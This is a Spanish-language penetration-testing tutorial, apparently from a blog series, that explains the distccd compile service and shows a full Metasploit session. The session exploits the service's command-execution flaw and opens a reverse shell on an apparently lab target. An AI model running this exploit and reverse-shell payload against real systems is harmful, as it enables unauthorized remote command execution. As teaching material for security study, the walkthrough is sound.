CONCEPTOS BASICOS DE PENETRACION BAJO PLATAFORMA GNU/LINUX(VULNERABLE) USANDO METASPLOIT FRAMEWORK – PARTE VIII
Entendiendo y Atacando el servicio DISTCCD

Encontrando Vulnerabilidades sobre el servicio DISTCCD (Puerto 3632)

DISTCCD es un servicio distribuido que se encarga de compilar y construir programas escritos en C, C++ y Objective C++, al ser distribuido el resultado final de la compilación de los programas genera los mismos resultados como si se tratara de una construcción en el sistema local, se trata de un servicio bastante útil para equipos de desarrolladores de C y C++.

No obstante, existen algunas vulnerabilidades que atañen a este servicio y se encuentran centradas precisamente en las capacidades distribuidas que este ofrece a los usuarios, una de estas vulnerabilidades es precisamente en que cualquiera podrá conectarse a dicho servicio y ejecutar comandos de forma arbitraria, lo que desde luego, es completamente indeseable.

Para explotar esta vulnerabilidad, en primera instancia se busca el modulo adecuado desde metasploit

msf exploit(tomcat_mgr_deploy) > search distccd
[*] Searching loaded modules for pattern ‘distccd’…

Exploits========

Name Disclosure Date Rank Description

—- ————— —- ———–

unix/misc/distcc_exec 2002-02-01 excellent DistCC Daemon Command Execution

msf > use exploit/unix/misc/distcc_exec

msf exploit(distcc_exec) > show options

Module options (exploit/unix/misc/distcc_exec):

Name Current Setting Required Description

—- ————— ——– ———–

RHOST yes The target address

RPORT 3632 yes The target port

Exploit target:

Id Name

— —-

0 Automatic Target

msf exploit(distcc_exec) > set RHOST 192.168.1.34

RHOST => 192.168.1.34

msf exploit(distcc_exec) > set PAYLOAD cmd/unix/reverse

PAYLOAD => cmd/unix/reverse

msf exploit(distcc_exec) > exploit

[*] Started reverse double handler

[*] Accepted the first client connection…

[*] Accepted the second client connection…

[*] Command: echo 8iFkroIa7EJdn9JV;

[*] Writing to socket A

[*] Writing to socket B

[*] Reading from sockets…

[*] Reading from socket B

[*] B: “8iFkroIa7EJdn9JV\r\n”

[*] Matching…

[*] A is input…

[*] Command shell session 4 opened (192.168.1.33:4444 -> 192.168.1.34:40053) at Sat May 21 22:45:33 +0200 2011

whoami

daemon

uname -r

2.6.24-16-server

Como se puede apreciar, nuevamente se ha conseguido una sesión reversa con la maquina remota.

Esta ha sido la ultima entrada relacionada con conceptos básicos de explotación de maquinas GNU/Linux, se han tratado vulnerabilidades a modo general que un hacker newbie comienza a conocer y entender, sin embargo, la explotación de sistemas va mucho mas allá de esto, en realidad se trata de un campo bastante complejo y difícil de seguir, sin embargo con dedicación todo es posible. En próximas entradas se intentará explicar como se puede penetrar en maquinas con unos niveles de seguridad medios/normales utilizando técnicas un poco mas elaboradas y que requieren mayor esfuerzo por parte del atacante.